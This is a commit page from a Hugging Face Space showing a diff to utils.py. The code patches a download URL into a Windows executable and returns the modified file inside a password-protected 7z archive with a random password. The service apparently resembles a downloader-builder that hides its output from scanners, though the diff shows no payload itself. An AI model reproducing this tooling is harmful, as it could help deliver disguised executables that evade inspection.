Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -187,6 +187,28 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
|
|
187 |
except Exception as e:
|
188 |
raise Exception(f"An error occurred: {e}")
|
189 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
190 |
def process_request(request):
|
191 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
192 |
try:
|
@@ -251,15 +273,19 @@ def process_request(request):
|
|
251 |
new_string=os.path.basename(download_url)
|
252 |
)
|
253 |
|
254 |
-
#
|
255 |
-
|
256 |
-
|
257 |
-
|
258 |
-
|
259 |
-
], check=True)
|
260 |
|
261 |
-
# Return the
|
262 |
-
return send_file(
|
|
|
|
|
|
|
|
|
|
|
263 |
|
264 |
except Exception as e:
|
265 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
|
|
187 |
except Exception as e:
|
188 |
raise Exception(f"An error occurred: {e}")
|
189 |
|
190 |
+
# Function to generate a random password
|
191 |
+
def generate_random_password(length=12):
|
192 |
+
# Use a combination of letters, digits, and special characters
|
193 |
+
characters = string.ascii_letters + string.digits + "!@#$%^&*"
|
194 |
+
return ''.join(secrets.choice(characters) for _ in range(length))
|
195 |
+
|
196 |
+
# Function to create an encrypted 7z archive
|
197 |
+
def create_encrypted_7z_archive(file_path, password):
|
198 |
+
archive_name = generate_random_string() + ".7z"
|
199 |
+
archive_path = os.path.join(os.path.dirname(file_path), archive_name)
|
200 |
+
|
201 |
+
# Use 7z command to create an encrypted archive
|
202 |
+
try:
|
203 |
+
subprocess.run([
|
204 |
+
"7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
|
205 |
+
], check=True)
|
206 |
+
except subprocess.CalledProcessError as e:
|
207 |
+
raise Exception(f"Failed to create encrypted 7z archive: {e}")
|
208 |
+
|
209 |
+
return archive_path
|
210 |
+
|
211 |
+
# Function to process the request
|
212 |
def process_request(request):
|
213 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
214 |
try:
|
|
|
273 |
new_string=os.path.basename(download_url)
|
274 |
)
|
275 |
|
276 |
+
# Generate a random password
|
277 |
+
password = generate_random_password()
|
278 |
+
|
279 |
+
# Create an encrypted 7z archive
|
280 |
+
archive_path = create_encrypted_7z_archive(modified_pe_path, password)
|
|
|
281 |
|
282 |
+
# Return the encrypted archive as a file and the password in the response
|
283 |
+
return send_file(
|
284 |
+
archive_path,
|
285 |
+
as_attachment=True,
|
286 |
+
download_name=os.path.basename(archive_path),
|
287 |
+
mimetype='application/octet-stream'
|
288 |
+
), password
|
289 |
|
290 |
except Exception as e:
|
291 |
current_app.logger.error(f"An error occurred: {str(e)}")
|